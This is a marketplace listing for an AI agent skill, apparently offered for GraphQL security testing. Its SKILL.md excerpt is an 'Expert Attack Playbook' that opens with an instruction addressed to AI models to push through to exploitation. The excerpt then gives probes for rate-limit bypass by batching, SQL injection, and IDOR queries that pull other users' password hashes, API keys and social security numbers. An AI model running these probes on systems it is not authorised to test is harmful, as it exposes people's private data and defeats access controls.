Skip to content
Agentmart
Submit a tool

graphql-and-hidden-parameters

GraphQL and hidden parameter testing playbook.

Skill by langbyyi

IndexedApache-2.0★ 131
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/langbyyi-graphql-and-hidden-parameters

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

GraphQL and hidden parameter testing playbook. Use when exploring introspection, batching, undocumented fields, hidden parameters, schema abuse, query depth DoS, mutation authorization gaps, subscription abuse, and injection via GraphQL resolvers.

Use cases: backend, testing

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/graphql-and-hidden-parameters

What's inside

Skill name
graphql-and-hidden-parameters
Description
GraphQL and hidden parameter testing playbook. Use when exploring introspection, batching, undocumented fields, hidden parameters, schema abuse, query depth DoS, mutation authorization gaps, subscription abuse, and injection via GraphQL resolvers.
License
Apache-2.0
Instructions
371 lines in SKILL.md · view on GitHub

Files (1)

  • SKILL.md

SKILL.md (first lines)

---
name: graphql-and-hidden-parameters
description: >-
  GraphQL and hidden parameter testing playbook. Use when exploring introspection,
  batching, undocumented fields, hidden parameters, schema abuse, query depth DoS,
  mutation authorization gaps, subscription abuse, and injection via GraphQL resolvers.
---

# SKILL: GraphQL and Hidden Parameters — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: GraphQL security testing covers schema discovery via introspection, batching abuse for rate limit bypass, hidden/undocumented field extraction, authorization gaps in nested queries, mutation abuse, subscription WebSocket hijacking, and injection through resolver arguments. Base models often stop at introspection — this skill pushes through to exploitation.

## QUICK START

### First-pass probes

| Situation | Probe | Why |
|---|---|---|
| Confirm GraphQL | `{__typename}` | Universal GraphQL fingerprint |
| Schema discovery | `__schema { types { name } }` | Full introspection |
| Field suggestions | Send typo in field name | Error may suggest valid fields |
| Batching abuse | `[{query1}, {query2}, ...]` | Array of queries bypasses rate limits |
| Hidden fields | Add `debug`, `admin`, `internal` to types | Undocumented fields |
| Injection test | `"1' OR '1'='1"` in arguments | Resolver may pass to SQL/NoSQL |

### First-pass probe set

```graphql
{__typename}
{__schema { types { name fields { name } } }}
{__type(name: "User") { fields { name type { name } } }}
mutation { __typename }
subscription { __typename }
```

---

## 1. INTROSPECTION AND SCHEMA DISCOVERY

### Full Introspection Query

```graphql
query {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
          ofType { name kind }
        }
        args {
          name
          type { name kind }
        }
      }
    }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}
```

### When Introspection is Disabled

- **Field suggestions**: Send `{usr}` → error may respond `"Did you mean \"user\"?"`
- **Error-based discovery**: `{__type(name: "User") { name }}` may still work
- **JS bundle mining**: Extract field names from frontend JavaScript bundles
- **Mobile APK/IPA**: Decompile and search for GraphQL field names
- **Known type probes**: Try common types (`User`, `Post`, `Admin`, `Config`, `Token`)

### Apollo Studio / GraphiQL Exposure

```
/graphql?explore=1
/altair
/graphiql
/graphql/console
/playground
```

---

## 2. AUTHORIZATION GAPS

### IDOR via GraphQL

```graphql
# Normal user query:
query { user(id: 1) { name email } }
# Try accessing other users:
query { user(id: 2) { name email passwordHash role } }

# Nested authorization gaps:
query {
  user(id: 1) {
    posts {
      comments {
        author { email role }  # May bypass object-level auth
      }
    }
  }
}
```

### Field-Level Access Control Bypass

```graphql
# Public fields: name, avatar
# Hidden fields: email, role, apiKey, ssn
query { user(id: 1) { name email role apiKey ssn } }
# If field-level auth is missing, all fields returned
```

### Mutation Authorization

```graphql

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC

Compare and alternatives

    Featured in

    Signals

    Stars
    131
    Forks
    11
    Open issues
    0
    Last commit (this folder)
    Aug 6, 2026 (2 months ago)
    Last release
    Oct 16, 2026 (11 days ago)

    From GitHub (fetched Oct 24, 2026).

    Details

    License
    Apache-2.0
    First seen
    Oct 24, 2026
    Last checked
    Oct 24, 2026

    More from langbyyi

    Cite this page

    graphql-and-hidden-parameters skill. Agent Mart. https://agentmart.dev/skills/langbyyi-graphql-and-hidden-parameters (last updated 2026-10-24)